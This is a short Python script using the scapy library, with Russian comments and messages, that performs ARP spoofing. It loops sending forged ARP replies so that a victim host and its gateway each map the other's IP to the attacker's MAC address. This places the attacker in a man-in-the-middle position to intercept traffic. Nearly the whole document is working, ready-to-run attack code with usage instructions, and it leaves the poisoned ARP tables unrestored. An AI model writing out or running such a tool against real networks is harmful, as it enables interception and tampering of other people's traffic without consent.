Загрузка данных


#!/usr/bin/env python3
from scapy.all import ARP, send, conf
import sys
import time

if len(sys.argv) != 3:
    print(f"Использование: sudo python3 {sys.argv[0]} <IP_ЖЕРТВЫ> <IP_ШЛЮЗА>")
    print(f"Пример: sudo python3 {sys.argv[0]} 192.168.1.10 192.168.1.1")
    sys.exit(1)

target_ip = sys.argv[1]
gateway_ip = sys.argv[2]
attacker_mac = conf.iface.mac  # MAC вашего интерфейса

print(f"[*] Отправка поддельных ARP-пакетов (Ctrl+C для остановки)")
print(f"    Жертва: {target_ip} -> теперь видит шлюз на {attacker_mac}")
print(f"    Шлюз:  {gateway_ip} -> теперь видит жертву на {attacker_mac}")

try:
    while True:
        # 1. Обманываем жертву: IP шлюза = MAC атакующего
        send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwsrc=attacker_mac), verbose=False)
        # 2. Обманываем шлюз: IP жертвы = MAC атакующего
        send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwsrc=attacker_mac), verbose=False)
        time.sleep(2)  # пауза, чтобы не залить сеть
except KeyboardInterrupt:
    print("\n[*] Остановка по запросу. ARP-таблицы не восстановлены.")